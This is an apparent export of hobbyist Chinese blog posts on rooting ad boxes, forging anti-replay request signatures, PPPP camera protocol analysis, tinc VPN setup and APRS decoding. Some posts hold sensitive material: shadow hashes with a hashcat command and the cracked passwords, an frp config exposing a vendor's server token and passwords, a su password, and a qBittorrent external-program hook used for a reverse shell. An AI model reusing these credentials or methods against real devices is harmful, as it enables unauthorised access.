[{"categories":["渗透测试"],"content":"js巧施sort计，py调试401 一般我是不写关于渗透测试方面的文章，一方面是没啥可写，一方面是没有亮点驱使我写。\n在某次的测试任务中，发现有个网址在代理抓包后进行重放就401。显然存在某种防重放机制。\n找到包签名 通过观察包特征发现了存在以下特征：\nheader头存在时间戳（毫秒） header头存在随机数（12位） header头存在token header头存在sign签名可以肯定这其中一定存在某些关联，在通过断点调试，得到输入参数为时间戳、随机数、token和提交的参数(不为空)进行sort排序后进行计算得到的sign签名。\n最后对排序后的结果计算sha256的哈希值既是sign签名的值了。 py反代 最近比较喜欢使用flask进行反代，无论是aes加密还是国密都是比较容易实现实时的解密处理。\n同理，这个网站我当时使用反代进行处理header头信息，实时计算生成伪造的sign签名后进行转发。然后神奇的事情就出现了：网站浏览器访问100%的成功率（访问状态码200），使用py的反代服务成功率只有不到10%（提交参数都没变情况下）。绝大部分都是401状态码，要不是携带cookies，还以为是没登陆造成的。\nsort排序 下断点在sha256哈希生成前，发现每次的排序都不太一致。有时时间戳在前、有时token在前，搞不懂规则。就是简单的sort排序而已啊~\n然后灵光一闪，该不会javascript的sort和python的sort在排序上有什么区别啊？这里我就问了gemini。\n果然，在这里有个不起眼的大坑。\n使用javascript进行测试：\n而python的默认排序不是javascript的默认，而是数字按大小，字母按先后。\n需要加上key=str才能”模拟“javascript的排序方式。\n修正 修改反代中的排序后，反代可以100%的进行成功注入签名了。又可以愉快的跑测试工具糊个截图了（虽然网站做的真安全）。\n一个sign签名拦截了99.9%的攻击流量，一个sort小妙招，拦截了剩下一部分攻击流量。要是再加上JA3/4指纹，岂不是如虎添翼？\n学会了，这就添加到自己的服务器策略中。\n","permalink":"https://synology.pub/post/javascript%E7%9A%84sort%E9%99%B7%E9%98%B1/","tags":["javascript","sort","陷阱"],"title":"javascript的sort陷阱"},{"categories":["破解"],"content":"咸鱼买了一个边缘计算盒子，双路rk3399，型号为ECU-031-DAT\n底板有SIM7600CE模块，可惜是焊在底板上的。\n可用命令/bin/cli lte show | grep dbm查询信号强度。\n使用STM进行控制多个系统，网口为openwrt的lan口(192.168.2.0/24网络)\nopenwrt 未配置密码 192.168.2.1\nandroid ssh 192.168.2.160（暂未知道密码）\nubuntu ssh 192.168.2.192 密码哈希：\nroot:$6$3aEfvwcC$QdXT0miOJjAY1YrIzEiLKL9J96kiWIj5UIavw.5ifSUabQ7A1Sbm77fF72lwzPZXXF2/Ven/UhCQIV7xlc/Si.:17926:0:99999:7::: whale:$6$KQc.OsAp$GZRxJ1W0CB2cbRFX/VtxXltqa7pUGLwmRpCGoCgkSbrj/D4jNtXoKdEDIGUBaWqDlNiEBoAI48uePCzBvCqHG/:17926:0:99999:7::: 通过TTL进入系统\n使用命令可以破解哈希hashcat -m 1800 -a 6 hash.txt whale -1 ?l?d?s ?1?1?1?1 --increment --increment-min 1 --increment-max 4\n破解后的密码为whale/whale和root/whale123\n一部分frp配置信息：\n[common] server_addr = frps.edge.meetwhale.com server_port = 7000 token = Buzhongyao123 [WRK2019297D9A344227-emqx] type = http local_port = 18083 subdomain = wrk2019297d9a344227-emqx [WRK2019297D9A344227-belial] type = http local_port = 80 subdomain = wrk2019297d9a344227-belial [WRK2019297D9A344227-logs] type = tcp remote_port = 12010 plugin = static_file plugin_local_path = /home/whale/mango/mount/logs plugin_strip_prefix = logs plugin_http_user = admin plugin_http_passwd = Buzhongyao123 [WRK2019297D9A344227-ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 12009 安卓系统负责广告播放，ubuntu系统负责边缘计算(远控、挖矿)\n评价为：有计算能力的垃圾。\n","permalink":"https://synology.pub/post/%E5%AF%B9ecu-031-dat%E7%9B%92%E5%AD%90%E7%A0%B4%E8%A7%A3/","tags":["盒子","广告机","破解","折腾","ECU-031-DAT"],"title":"对ECU-031-DAT盒子破解"},{"categories":["破解"],"content":"这应该是全网第一篇“折腾”关于“数拓V8”盒子的文章了，这里记录下。折腾的过程很曲折，主要是在armbian 设备树上面。不知道为啥就喜欢Linux。\n数拓V8使用的是RK3288平台，ACT8846PMIC。常见的老乡鸡、海底捞的广告机就是用的它，2+8G经典组合，体现了开发者高超的技术水平。好吧说人话就是这垃圾配置，如果不是玩玩，还真不想入（某鱼均价80-160之间，有账户绑定还不提供技术！）。\n这个盒子下面就叫shutuo吧，为什么折腾他呢，来源于两年前的某一天闲着无聊，想挑战（麻烦）自己。就在某鱼上逛，记得当时搜的关键词为“广告机”，终于找了个随缘的卖家，也随缘买了。\n盒子照片 网上的图片：\n失误 刚拿到机器是兴奋的，虽然外观85成色。第一步就是酒精对机身消毒，然后开机。 开机进入的是Android 5.1的系统，但是有广告launcher，外接鼠标还不能跳出。\n幸好开了adb服务，自然是连上reboot maskrom进入Maskrom模式，找公版firefly的ubuntu进行刷入了。 这一系列的操作都是晚上进行的，因为忘记备份原镜像（对自己太自信了，还有晚上不能刷机、做决定。好几次了清空了40引脚的flash rom包括uboot。还不能刷机！！！），结果就是发现有线网口不能用了，USB接口没反应了。只有wifi还能使用，忍着使用了一段时间。后来实在是看dmesg里一堆的错误看不下去了，尝试自己编译linux固件。因为网络墙、版本等问题，总是失败。也放弃了，转而看看armbian下有什么好办法。\nArmbian 到了折腾Armbian阶段，知道了需要给内核正确的Device Tree设备树信息。虽然RK3288平台方案就那几种，鬼知道厂商做了什么大胆的方案。\n刷了网上的适配RK3288的Armbian 21的固件还有LibreELEC固件，因为不适配，导致有线网口用不了、USB口无电压（但是OTG口电压正常，可能是OTG口直接生成的5V电压没经过PMIC。这里想到个骚操作，OTG直连任意USB口，其他USB口共享电压，这时键盘就能用了。）和重启异常问题。\n而设备树信息又需要和原始固件进行比较，原始固件没备份。GG\n寻找原始固件 全网都没有这个原始固件，再买一台？现在买的太贵，而且这垃圾没必要再买一个。这里还是在某鱼，我买这个设备的卖家介绍图中看到了一个设备信息图。\n这里可以提取到信息，型号为instwall-jk3288-e 2.3.15版本。\n这里的搜索过程不表，反正就是很艰辛。终于，通过instwall-jk3288这个关键词搜到了其他产品的固件升级包页面（感谢bing.com）。\n页面为 https://www.shutuo.tv/i/did/pub/instwall-jk3288-a/release/1.2.4/index.html 发现，目录名是instwall-jk3288-a这个型号，那我换instwall-jk3288-e这个型号存不存在呢？访问：403 ！好耶，存在这个目录就好办了。release目录后跟着版本号，使用python去暴力访问这些目录，看看哪些链接返回字节不一致（这个网站不存在时不会返回404，而是返回一个js加载错误的页面）。\n最终，发现了instwall-jk3288-a、instwall-jk3288-c、instwall-jk3288-e这三种型号。我想要的2.3.15版本居然神奇的404了，但是其他版本都能下载（Fuck）。\n最终下载了2.3.13、2.3.17、2.3.19这三个版本，提取到了原始的dtb文件。\n通过反编译，和armbian中的rk3288-firefly-reload.dtb反编译进行对比。\n折磨人的又一难 因为原始固件是安卓5.1 内核是3.10的，而armbian的内核又是5.10.x的，跨度太大，设备树的信息改变太多。\n起先是通过反编译，让ai进行对比差异。试了gemini、cc、chatgpt、codex等，居然没有一个可以正确的回答出来，正确答案里加载着错误的答案，真真假假、好像在逗我玩。\n最终，通过人力对比、多轮提问细节的方法。找到了修改dts的方案。\n有线网口：armbian适配的是千兆网口，人家没有想到会存在百兆网口的方案。改也是很简单，即RGMII改成RMII。\nUSB口：使用的GPIO口非常规，应该使用0x50 0x0c 0x00。\n到这里有线网口、USB都能正常使用了，但是电源管理还存在问题，重启不会reset。执行到关机后就不能启动了，需要拔插电源才能启动。而关机就正常（无语）。到这里我服了，在研究时在armbian社区提了这个需求，为了后来者方便搜索到这个解决办法，我又在原帖中贴上了修改后的dts、dtb文件和修改点。\nhttps://forum.armbian.com/topic/58403-request-to-adapt-the-compilation-of-shutuo-v8-rk3288-version-armbian/ 回归Android 玩了几天armbian，总感觉卡卡的（毕竟芯片性能在那），想要刷回android了。\n又来一难 想着要刷个最新版的，就刷了2.3.19这个版本。谁想到这个版本坑货。\n刷入后adb可以连接，存在su文件，执行需要密码。于是adb pull这个su文件，使用ghidra进行分析。这里简简单单，对输入的密码进行对比，通过就继续执行后面的代码。\n密码也很简单，st123数拓123嘛，简简单单。到这里本以为一切顺利，执行su输入密码st123回车一按，等着吐出心心念的#，等等，什么情况，输出了Permission denied。还以为输错了密码，输了几次都是一样，这种给了希望又失望的感觉，唉。\n使用解包工具看了下固件包，气吐血了。su文件作为承载普通用户执行特权命令的工具，理应有s权限位。可这？s去哪了？哪个坑爹的程序员打包忘记了？ 是忘记了还是故意的？\n好吧，那我换低版本2.3.17。刷之前先看看su的权限对不对。\n这次总算是对了，那就刷他吧。\n不是，还来？ 刷入后，开机还是广告launcher，无法跳过。这里adb进入su都不需要密码。使用am start -a android.settings.SETTINGS打开设置。\n8G存储变成了4G，这里是因为分给了安卓的其他分区。\n退出设置，又启动了广告launcher。不惯它，dumpsys activity top | grep ACTIVITY 看看是谁在作怪，发现是ACTIVITY com.instwall.launch/com.instwall.stepbysteplibrary.activity.BindScreenActivity 还不能停止、冻结。还会再启动，应该是有保活服务在作妖。\n使用pm hide com.instwall.launch隐藏这个后，暂时不启动了。没想到重启后另一个广告launcher又在作怪。重复上面的步骤，定位到相关app，给他一个雪藏套餐pm hide com.instwall.player。 再次重启就没了广告了，因为没有默认的launch，导致看到的是黑屏。那就安装个当贝桌面吧。\n有完没完？ 下载安装包后，pm install \u0026lt;package\u0026gt;却一直卡住，apk图形界面也卡住。等了一杯水的功夫，还卡在那。终于明白，不是性能弱，而是故意刁难不给安装。\n看看pm命令该不会是脚本吧，看了不是。暂时没头绪了。\n记得安卓有个神奇的工具叫做logcat，程序员会把log、print等各种屎塞到这里面。或许可以从这里找到线索？\n在输出了一堆26个字母，10个数字和一些符号后，趁着输出少，执行pm安装命令，同时观察logcat日志， 终于发现了蛛丝马迹。\nD/AndroidRuntime( 6669): Calling main entry com.android.commands.pm.Pm I/servicemanager( 156): type=1400 audit(0.0:204): avc: denied { search } for name=\u0026#34;6669\u0026#34; dev=\u0026#34;proc\u0026#34; ino=52185 scontext=u:r:servicemanager:s0 tcontext=u:r:init_shell:s0 tclass=dir permissive=1 I/servicemanager( 156): type=1400 audit(0.0:205): avc: denied { read } for name=\u0026#34;current\u0026#34; dev=\u0026#34;proc\u0026#34; ino=53070 scontext=u:r:servicemanager:s0 tcontext=u:r:init_shell:s0 tclass=file permissive=1 I/servicemanager( 156): type=1400 audit(0.0:206): avc: denied { open } for path=\u0026#34;/proc/6669/attr/current\u0026#34; dev=\u0026#34;proc\u0026#34; ino=53070 scontext=u:r:servicemanager:s0 tcontext=u:r:init_shell:s0 tclass=file permissive=1 I/servicemanager( 156): type=1400 audit(0.0:207): avc: denied { getattr } for scontext=u:r:servicemanager:s0 tcontext=u:r:init_shell:s0 tclass=process permissive=1 D/test_pm ( 479): [PackageManagerService][handleStartCopy] packagename: com.dangbei.tvlauncher is not allowed 没想到都root了还不给允许！顺着这个日志，判断应该是PackageManagerService.java中存在问题，handleStartCopy进行了判断。而这个PackageManagerService.java在/system/framework/services.jar中。那就pull下来文件，放到jadx-gui中，查找handleStartCopy。\n发现了白名单列表\nALLOW_PKG_NAME = new String[]{\u0026#34;com.instwall.sdk\u0026#34;, \u0026#34;org.opencv.engine\u0026#34;, \u0026#34;com.instwall.unstable_hk_camera\u0026#34;, \u0026#34;com.instwall.face\u0026#34;, \u0026#34;com.instwall.launch\u0026#34;, \u0026#34;com.settings.stepbystep\u0026#34;, \u0026#34;com.shutuo.floating.window\u0026#34;, \u0026#34;ashy.earl.magicshell\u0026#34;, \u0026#34;com.instwall.shell\u0026#34;, \u0026#34;com.instwall.player\u0026#34;, \u0026#34;com.instwall.autodebug\u0026#34;, \u0026#34;com.instwall.server\u0026#34;, \u0026#34;com.instwall.dressingmirror\u0026#34;, \u0026#34;com.instwall.roulettegame\u0026#34;, \u0026#34;com.instwall.browse\u0026#34;, \u0026#34;com.instwall.videodemo\u0026#34;, \u0026#34;com.instwall.settings\u0026#34;, \u0026#34;com.shutuo.beacon\u0026#34;, \u0026#34;com.shutuo.store\u0026#34;, \u0026#34;com.instwall.menu\u0026#34;, \u0026#34;com.instwall.eduboard\u0026#34;, \u0026#34;com.shutuo.recommend\u0026#34;, \u0026#34;shutuo.printdemo\u0026#34;, \u0026#34;com.instwall.hardware\u0026#34;}; 存在私有函数isAllowPackage判断包名\n判断了\u0026quot;eng\u0026quot;.equals(SystemProperties.get(\u0026quot;ro.build.type\u0026quot;))或者1 == SystemProperties.getInt(\u0026quot;persist.sys.debug\u0026quot;, 0)\n那么就简单了，root权限下，直接执行setprop persist.sys.debug 1就可以正常安装软件了。\n安装的投屏软件:\n维护模式 厂商自己的维护软件，没啥大用。可以玩玩\nam start -n com.instwall.settings/.SigninActivity 维护登录 账号密码：1111/1111\n刷机资料 遇到的坑，所涉及的固件、脚本都已分享。\n链接: https://yun.139.com/shareweb/#/w/i/2tZvRRfj47Whf 提取码:kn53 复制内容打开中国移动云盘手机APP，操作更方便哦\n","permalink":"https://synology.pub/post/%E5%AF%B9%E6%95%B0%E6%8B%93v8%E7%9B%92%E5%AD%90%E7%9A%84%E7%A0%B4%E8%A7%A3%E8%AE%B0%E5%BD%95/","tags":["数拓","shutuo","V8","盒子","广告机","Armbian","破解","折腾"],"title":"对数拓V8盒子的破解记录"},{"categories":["linux","破解"],"content":"开头 有这么一款摄像头，不支持ovif协议，不支持rtsp/rtmp。仅能通过云服务器进行查看/控制，开源的HA库明确表明不会支持本地视频流浏览(为了卖云存储)，转存到NAS也得折腾一大圈。产品宣称使用金融级加密，实际上\u0026hellip;\n起源于某次抓包，让我对其有了全新的认识。\n三种视频查看方式:\n抓包 初显端倪 通过PCAPdroid抓取目标应用的数据包，然后在应用中进行播放视频。\n过滤UDP数据包，可以发现同时向6个ip地址的32100端口发送了数据包\n相关IPList:(xxx.p2psy2.mijia.tech和xxx.p2psy2.io.mi.com域名)\n42.157.165.184 42.157.165.251 110.43.39.73 110.43.68.126 110.43.39.53 110.43.68.154 发送的数据包为f1000000和f1200024584d5359434e530000021fa14c424a4e5a0000000002082b000000000000000000000000 分别为4字节和40字节。像是某种握手包(Hello Packet)\n同时发现也向局域网广播4字节的数据包，但是使用32108端口\n接下来云IP返回了20字节的响应f1010010000231bbf562009d0000000000000000和8字节的响应f121000400000000\n通过对比发现数据包都是以f1开头。\n通过互联网搜索f100得到一个线索：PPPP协议\nPPPP Protocol 这是CS2 network公司（尚云互连）http://www.cs2-network.com/ 开发的P2P Camera协议，宣称存在四道安全防护\n根据深入的了解，也对上面的32100、32108端口有了了解。\nhttps://github.com/Ankermgmt/ankermake-m5-protocol/blob/c12eb79a3f0bf87091fa9daf4feb062c5e8727d7/libflagship/ppppapi.py 可以粗略的看作WAN请求使用32100端口，在局域网下使用32108端口发送广播消息。\nPPPP协议可以大概视为TCP的简化版，其中数据在MSG_DRW类型中传递。\nwireshak解密插件可使用https://github.com/pmarrapese/iot/tree/master/p2p/dissector 以下是研究中引用的网站 https://github.com/DavidVentura/cam-reverse https://re-ws.pl/2018/05/pppp-api-what-i-know/ https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/ https://hacked.camera/cves/#cs2 到这里可以把摄像头禁止联网了，有概率通过互联网匿名浏览。\nPPPP Protocol Parse 根据某个使用了PPPP协议的产品，找到了该协议的解析库。\nhttps://github.com/Ankermgmt/ankermake-m5-protocol/blob/c12eb79a3f0bf87091fa9daf4feb062c5e8727d7/documentation/developer-docs/libflagship.md 使用python进行简单的解析\nimport libflagship.pppp as pppp from rich import print # binary message to parse input = bytes.fromhex(\u0026#39;f1000000\u0026#39;) print(f\u0026#34;input: {input}\u0026#34;) # parsing a message into structured data msg, tail = pppp.Message.parse(input) print(f\u0026#34;decoded: {msg}\u0026#34;) # packing a structured message into binary output output = msg.pack() print(f\u0026#34;encoded: {output}\u0026#34;) # the output must match our original input assert input == output 可以解析出握手包信息\nP2PReq信息\nP2P握手成功后局域网开放的临时端口信息\n甚至贴心的给出了P2P NAT后的端口信息\n防止P2P失败，给出的云端中转信息\n当然，由于不是适配的库，某些握手包会解析失败，如下：\n当视频流开始传输时，可以看到数据包长度会明显变大\n这时解析数据包会显示一堆乱码数据\n这是MSG_DRW的消息经过了某种加密/混淆处理（看so库，应该是AES-CBC）。\n","permalink":"https://synology.pub/post/xijia-camera--pppp-protocol/","tags":["安全研究","Xijia","PPPP"],"title":"Xijia Camera \u0026 PPPP protocol"},{"categories":["linux"],"content":"前因 为了让当前用户变为root权限，直接改了/etc/passwd文件中用户的用户ID和组ID（UID、GID）为0。万万没想到，改完后网络中断了，才想起来ssh配置了禁止root登录。这时候原先账户也登陆不了。\n处理 扫描端口 因为人在外地，不能及时的本地登录更改，所以试试远程还有没有其他端口服务可以利用着改回去。\n通过nmap扫描，只开放了nginx（纯静态）、qBittorrent Web UI（8080端口）和ssh端口（权限错误登录不了）。\n探索qBittorrent Web UI 之前为了方便下载，安装了qBittorrent Web UI。先登录进去qBittorrent Web UI后可以查看版本。\n版本是4.2.5的，通过google搜索历史版本，最接近的也是2019年的rce漏洞，版本也比较低，这里利用不了。\n后来发现设置里有个选项 Torrent完成后运行外部程序\n直接设置bash反弹命令，然后本地监听端口。下载个热门小文件，用来触发这个反弹。\n如何修改 通过反弹的shell可以看到当前用户还是个普通用户权限（奇怪，为啥不是root权限）。\n直接使用sed -i 's/javashell:x:0:0/javashell:x:1000:1000/g' /etc/passwd修改文件提示权限不足，想到之前因为修改了/etc/passwd文件，按道理应该有root权限才对。这里用su javashell 进行重新切换到javashell用户。\n输入密码即可 (又一个疑问，为啥这里可以可交互？) 再次输入之前修改文件的命令即可（这里倒是变成不可交互了）\n总结 通过qBittorrent Web UI设置完成下载后执行外部命令，利用反弹shell进行操作，修改文件。\n所以互联网中如果存在弱口令，那就可以被用来干坏事了。\ngithub已有相关issues讨论,但是看上去修复不积极更像是: 这不是bug 是feature\nhttps://github.com/qbittorrent/qBittorrent/issues/22902 https://github.com/qbittorrent/qBittorrent/issues/20932 ","permalink":"https://synology.pub/post/%E8%AE%B0%E4%B8%80%E6%AC%A1linux%E8%B4%A6%E6%88%B7%E8%AF%AF%E6%93%8D%E4%BD%9C%E7%9A%84%E6%81%A2%E5%A4%8D%E5%A4%84%E7%90%86%E8%BF%87%E7%A8%8B/","tags":["Linux","安全研究","漏洞","qBittorrent"],"title":"记一次Linux账户误操作的’恢复‘处理过程"},{"categories":["VPN"],"content":"根据上一个文章实现了单个的网络互通 使用tinc进行组网并跨网段互通 原来的网络架构如下：\n上一篇仅实现了192.168.17.0/24访问192.168.10.0/24的网段，不能192.168.10.0/24访问192.168.17.0/24\n现在和另一个网段192.168.20.0/24实现网段互通。\n双网段互通 网络架构 现在想实现的效果：\n192.168.10.0/24 可以访问 10.10.10.0/24 192.168.10.0/24 可以访问 192.168.20.0/24 192.168.20.0/24 可以访问 192.168.10.0/24 添加路由 配置转发 之前配置的是\niptables -t nat -A POSTROUTING -d 10.10.10.0/24 -o eth0 -j MASQUERADE 可以使得访问192.168.10.0/24的网段\n先实现效果1 （192.168.10.0/24 可以访问 10.10.10.0/24 ） 在 10.10.10.1中增加iptables命令\n# 对目的为10.10.10.0/24网段进行nat，网口为tun0 iptables -t nat -A POSTROUTING -d 10.10.10.0/24 -o tun0 -j MASQUERADE 这样192.168.10.0/24的网段的其他机器可以访问10.10.10.0/24了。\nwindows下nat转换 之前都是linux下作为nat转换的，但是192.168.20.0/24的网段中这台是window 10机器。\n使用管理员权限的powershell运行下面命令\n# 获取网卡 PS C:\\Windows\\system32\u0026gt; Get-NetAdapter Name InterfaceDescription ifIndex Status MacAddress LinkSpeed ---- -------------------- ------- ------ ---------- --------- tinc TAP-Win32 Adapter V9 23 Up 00-FF-B3-72-A3-26 10 Mbps 以太网 Intel(R) Ethernet Connection (2) I219-V 19 Up 00-23-24-D9-3D-24 1 Gbps vEthernet (Default Swi... Hyper-V Virtual Ethernet Adapter 32 Up 00-15-5D-C1-61-07 10 Gbps 蓝牙网络连接 4 Bluetooth Device (Personal Area Ne...#4 47 Disconnected 04-7F-0E-4D-97-A8 3 Mbps OA WireGuard Tunnel 12 Up 100 Gbps WLAN MediaTek Wi-Fi 6/6E Wireless USB LAN... 5 Up 90-DE-80-D8-B3-77 1.2 Gbps 设置指定网卡进行转发\nPS C:\\Windows\\system32\u0026gt; Set-NetIPInterface -ifAlias \u0026#39;tinc\u0026#39; -Forwarding Enabled 查看已配置转发的网卡\nPS C:\\Windows\\system32\u0026gt; Get-NetIPInterface -Forwarding Enabled ifIndex InterfaceAlias AddressFamily NlMtu(Bytes) InterfaceMetric Dhcp ConnectionState PolicyStore ------- -------------- ------------- ------------ --------------- ---- --------------- ----------- 23 tinc IPv6 1500 55 Enabled Connected ActiveStore 23 tinc IPv4 1500 55 Disabled Connected ActiveStore 配置转发规则\nPS C:\\Windows\\system32\u0026gt; New-NetNat -Name VPNNAT -InternalIPInterfaceAddressPrefix \u0026#34;10.10.10.0/24\u0026#34; Name : VPNNAT ExternalIPInterfaceAddressPrefix : InternalIPInterfaceAddressPrefix : 10.10.10.0/24 IcmpQueryTimeout : 30 TcpEstablishedConnectionTimeout : 1800 TcpTransientConnectionTimeout : 120 TcpFilteringBehavior : AddressDependentFiltering UdpFilteringBehavior : AddressDependentFiltering UdpIdleSessionTimeout : 120 UdpInboundRefresh : False Store : Local Active : True 到这就已经配置完成了。\n配置iptables\u0026amp;\u0026amp;路由 要想192.168.10.0/24访问192.168.20.0/24，那么在192.168.10.0/24得有个网关才行，正巧192.168.10.45是tinc的节点（10.10.10.1）。那么在10.10.10.1中增加iptables规则：\n# 目的地址为192.168.20.0/24 iptables -t nat -A POSTROUTING -d 192.168.20.0/24 -o tun0 -j MASQUERADE 配置完成后192.168.10.0/24的设备知道了192.168.20.0/24的网关是192.168.10.45，但是192.168.10.45不知道怎么到192.168.20.0/24啊，这里得指定个路由\nsudo ip route add 192.168.20.0/24 via 10.10.10.5 完成 至此，基本工作都已完成。局域网下其他机器都可访问192.168.20.0/24、10.10.10.0/24 。\n使用tinc实现的SDLAN大功告成。使用基本无感。\n","permalink":"https://synology.pub/post/%E4%BD%BF%E7%94%A8tinc%E8%BF%9B%E8%A1%8C%E7%BB%84%E7%BD%91%E5%B9%B6%E8%B7%A8%E7%BD%91%E6%AE%B5%E4%BA%92%E9%80%9A-%E5%A2%9E%E5%BC%BA/","tags":["tinc","vpn","跨网段互通"],"title":"使用tinc进行组网并跨网段互通-增强"},{"categories":["VPN"],"content":"安装tinc 安装tinc\napt install tinc 运行/卸载脚本\n##tinc-up #!/bin/sh ip route del 10.10.10.0/24 dev $INTERFACE ip addr del 10.10.10.1/32 dev $INTERFACE ip link set $INTERFACE down ##tinc-down #!/bin/sh ip link set $INTERFACE up ip addr add 10.10.10.1/32 dev $INTERFACE ip route add 10.10.10.0/24 dev $INTERFACE 生成私钥\ntincd -n synology_pub -K4096 自启动\nsystemctl enable tinc@网络名 systemctl start tinc@网络名 其安装过程很简单，网上一搜都能搜得到。\n网络结构 网络架构如下：\n目前需求是192.168.17.0/24的网段机器都可访问192.168.10.0/24网段。\n进行跨网段互通 这里我的tinc配置如下：\nName = client_nanjing_n1 ConnectTo = client_raspberry_3b AddressFamily = ipv4 Device = /dev/net/tun Interface = tun0 BindToAddress = * 65222 Mode = switch Compression=11 TCPOnly = yes Cipher = aes-256-cbc Digest = sha256 PingInterval = 60 PingTimeout = 60 MaxConnections = 300 LocalDiscovery = yes PMTU = 1400 PMTUDiscovery = yes MTUInfoInterval = 5 ClampMSS = yes 都是常规配置，最主要的在hosts里，client_nanjing_n1文件如下：\nSubnet = 10.10.10.1/32 Subnet = 192.168.10.0/24 Address = xxxxx Port = 65222 -----BEGIN RSA PUBLIC KEY----- xxxxx -----END RSA PUBLIC KEY----- 可以看到配置里节点A声明了其所在的子网192.168.10.0/24。\n确认tinc节点可以互通 使用ping确定了节点A和节点B可以互通。\n节点A\nping 10.10.10.14 PING 10.10.10.14 (10.10.10.14) 56(84) bytes of data. 64 bytes from 10.10.10.14: icmp_seq=1 ttl=64 time=5.63 ms 64 bytes from 10.10.10.14: icmp_seq=2 ttl=64 time=5.80 ms 64 bytes from 10.10.10.14: icmp_seq=3 ttl=64 time=5.55 ms 64 bytes from 10.10.10.14: icmp_seq=4 ttl=64 time=5.44 ms ^C --- 10.10.10.14 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 9ms rtt min/avg/max/mdev = 5.437/5.602/5.796/0.160 ms 节点B\nping 10.10.10.1 PING 10.10.10.1 (10.10.10.1) 56(84) bytes of data. 64 bytes from 10.10.10.1: icmp_seq=1 ttl=64 time=5.38 ms 64 bytes from 10.10.10.1: icmp_seq=2 ttl=64 time=5.68 ms 64 bytes from 10.10.10.1: icmp_seq=3 ttl=64 time=5.23 ms 64 bytes from 10.10.10.1: icmp_seq=4 ttl=64 time=8.92 ms ^C --- 10.10.10.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3005ms rtt min/avg/max/mdev = 5.230/6.303/8.924/1.521 ms 节点A配置转发规则 首先要开启IP包转发\n# 启用 IP 转发 echo 1 \u0026gt; /proc/sys/net/ipv4/ip_forward sysctl -p 配置iptables规则\nsudo iptables -A FORWARD -i tun0 -o eth0 -j ACCEPT sudo iptables -A FORWARD -i eth0 -o tun0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT # 创建MASQUERADE规则 sudo iptables -t nat -A POSTROUTING -s 10.10.10.0/24 -o eth0 -j MASQUERADE 节点B配置路由 节点B只需要增加个目标网络的路由即可\nip route add 192.168.10.0/24 via 10.10.10.1 # windos 下增加 # route add 192.168.10.0 mask 255.255.255.0 10.10.10.1 也可以在tinc-up的脚本中增加。\n仍无法通信？ 上面配置完成后，仅能ping同目标网络下同一tinc的节点的物理地址（默认也可以），其他非运行tinc的机器无法通信。\n这是因为还没有配置返程的路由。比如，192.168.10.94接收到了10.10.10.14的数据包，但是不知道如何回包到10.10.10.14 。\n虽然可以增加路由进行配置，但是不可能每台设备都需要配置。\n这里在路由处增加个静态路由即可。\n至此，节点B应该可以与192.168.10.0/24的任意机器通信了。\nping 192.168.10.94 PING 192.168.10.94 (192.168.10.94) 56(84) bytes of data. 64 bytes from 192.168.10.94: icmp_seq=1 ttl=62 time=11.9 ms 64 bytes from 192.168.10.94: icmp_seq=2 ttl=62 time=9.43 ms 64 bytes from 192.168.10.94: icmp_seq=3 ttl=62 time=57.0 ms 64 bytes from 192.168.10.94: icmp_seq=4 ttl=62 time=86.8 ms ^C --- 192.168.10.94 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3001ms rtt min/avg/max/mdev = 9.433/41.274/86.750/32.369 ms $ ping 192.168.10.254 PING 192.168.10.254 (192.168.10.254) 56(84) bytes of data. 64 bytes from 192.168.10.254: icmp_seq=1 ttl=63 time=7.88 ms 64 bytes from 192.168.10.254: icmp_seq=2 ttl=63 time=6.88 ms 64 bytes from 192.168.10.254: icmp_seq=3 ttl=63 time=6.03 ms 64 bytes from 192.168.10.254: icmp_seq=4 ttl=63 time=12.4 ms ^C --- 192.168.10.254 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3004ms rtt min/avg/max/mdev = 6.031/8.308/12.449/2.478 ms ","permalink":"https://synology.pub/post/%E4%BD%BF%E7%94%A8tinc%E8%BF%9B%E8%A1%8C%E7%BB%84%E7%BD%91%E5%B9%B6%E8%B7%A8%E7%BD%91%E6%AE%B5%E4%BA%92%E9%80%9A/","tags":["tinc","vpn","跨网段互通"],"title":"使用tinc进行组网并跨网段互通"},{"categories":["HAM"],"content":"所需软件 SDRplay 1.41.1 版本 SDRplay_SDRuno_Installer_1.41.1.exe Virtual Audio Cable 4.70版本(解压密码: 1progs) Virtual Audio Cable 4.70.rar qtmm AFSK1200 Decoder(解码APRS信标)1.0.37 qtmm AFSK1200 Decoder(解码APRS信标)1.0.37 设置 安装虚拟声卡 一路正常安装好后，打开声音出现虚拟的声卡设备即可。\n配置SDRplay 打开SDRplay软件后在设置中配置语音输出设备为安装的虚拟声卡。\n注意到这里的需要配置频率和模式。APRS常用的为FM的144.640MHz\n运行APRS解码软件 打开qtmm AFSK1200 Decoder软件，在声卡选择中选虚拟声卡。\n最终效果 运行一段时间后，如果周围有其他电台发送APRS信标，即可被接收解码(经纬度信息解码为乱码，需要二次解码)\n","permalink":"https://synology.pub/post/%E4%BD%BF%E7%94%A8rsp1%E6%8E%A5%E6%94%B6%E5%B9%B6%E8%A7%A3%E7%A0%81aprs%E4%BF%A1%E5%8F%B7/","tags":["HAM","无线电","APRS"],"title":"使用RSP1接收并解码APRS信号"},{"categories":null,"content":"关于我 喜欢Go、Rust（正在入门），尝试使用这些语言写小程序。\n无线电爱好者。\nDE BA4TGG, QTH Nanjing, 73.\n","permalink":"https://synology.pub/about/","tags":null,"title":"About"},{"categories":["NAS"],"content":"背景 前段时间，在咸鱼买了个QNAP的TS-231(没有p的版本)玩玩。又在淘宝买了两块1T的拆机盘（3.5寸）。一开始运行正常，组RAID1什么的，后来某一天出现异常，RAID1掉盘了！Disk 2提示失去连接，但是磁盘2的LED灯还在亮。反复试了几次，有时能识别，在重建RAID1中这块盘又下线了。怀疑是硬盘问题，和硬盘1调换不行，又试了单硬盘，硬盘1正常，单硬盘2启动找不到硬盘(症状是启动时发出咔咔咔，疑似缺少12V供电)。好了，确定是硬盘2的背板问题了。\n网上冲浪 在Goole了半天，关键词\u0026quot;QNAP backplane\u0026quot;。讨论最多的是qnap社区的一篇文章，足有49页！\n来源: https://forum.qnap.com/viewtopic.php?t=134212\u0026amp;start=645 